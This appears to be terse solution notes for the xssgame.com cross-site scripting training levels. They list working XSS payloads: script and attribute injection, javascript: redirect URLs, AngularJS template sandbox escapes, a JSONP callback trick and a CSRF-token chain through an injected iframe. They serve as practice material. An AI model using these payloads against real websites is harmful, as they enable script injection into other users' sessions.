1.
'"><script>alert(1)</script>

2.
< img id="loading" src="/static/img/loading.gif" style="width: 50%"
onload="startTimer(''"><script>alert(1)</script>');" />
3')//
< img id="loading" src="/static/img/loading.gif" style="width: 50%"
onload="startTimer('3')//');" />
自解码机制
3');alert('1
< img id="loading" src="/static/img/loading.gif" style="width: 50%"
onload="startTimer('3');alert('1');" />

3.
https://www.xssgame.com/f/u0hrDTsXmyVJ/#1
https://www.xssgame.com/f/u0hrDTsXmyVJ/#1"><h1>123
Cat 1
< img src="/static/img/cat1"><h1>123.jpg">
https://www.xssgame.com/f/u0hrDTsXmyVJ/#1'"><h1>123
Cat 1
< img src="/static/img/cat1" "=""><h1>123.jpg' /></h1>
https://www.xssgame.com/f/u0hrDTsXmyVJ/#1'"><script>alert(1)</script><h1>123
Cat 1
< img src="/static/img/cat1" "=""><script>alert(1)</script><h1>123.jpg'
/></h1>
html += "< img src='/static/img/cat" + name + ".jpg' />";
->
https://www.xssgame.com/f/u0hrDTsXmyVJ/#1'/onerror=alert(1)//

4.
https://www.xssgame.com/__58a1wgqGgl
https://www.xssgame.com/f/__58a1wgqGgl/signup?next=javascript:alert(1)//
这个需要用户交互，不行
https://www.xssgame.com/f/__58a1wgqGgl/confirm?next=javascript:alert(1)

5.
https://www.xssgame.com/JFTG_t7t3N-P
参考：http://www.runoob.com/angularjs/angularjs-scopes.html
https://www.xssgame.com/f/JFTG_t7t3N-P/?query=hi&utm_campaign=xxxx{{alert(1)}}

6.
https://www.xssgame.com/rWKWwJGnAeyi

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
?query={{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

7.
https://www.xssgame.com/wmOM2q5NJnZS
cats<xmp>
Y2F0czx4bXA+
cats<script/src=jsonp?callback=alert(1)//></script>

8.
https://www.xssgame.com/d9u16LTxchEi
https://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=evilcos&redirect=index
https://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=abcdefg&redirect=index
https://www.xssgame.com/f/d9u16LTxchEi/transfer?name=xxxx&amount=%3Cscript%3Ealert(1)%3C/script%3E&csrf_token=abcdefg
https://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=evilcos<iframe/src%3D"transfer%3Fname%3Dxxxx%26amount%3D%253Cscript%253Ealert%281%29%253C/script%253E%26csrf_token%3Dabcdefg">&redirect=index
https://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=abcdefg&redirect=transfer%3Fname%3Dxxxx%26amount%3D%253Cscript%253Ealert(1)%253C%2Fscript%253E%26csrf_token%3Dabcdefg
https://www.xssgame.com/ENg7jhHqn6pp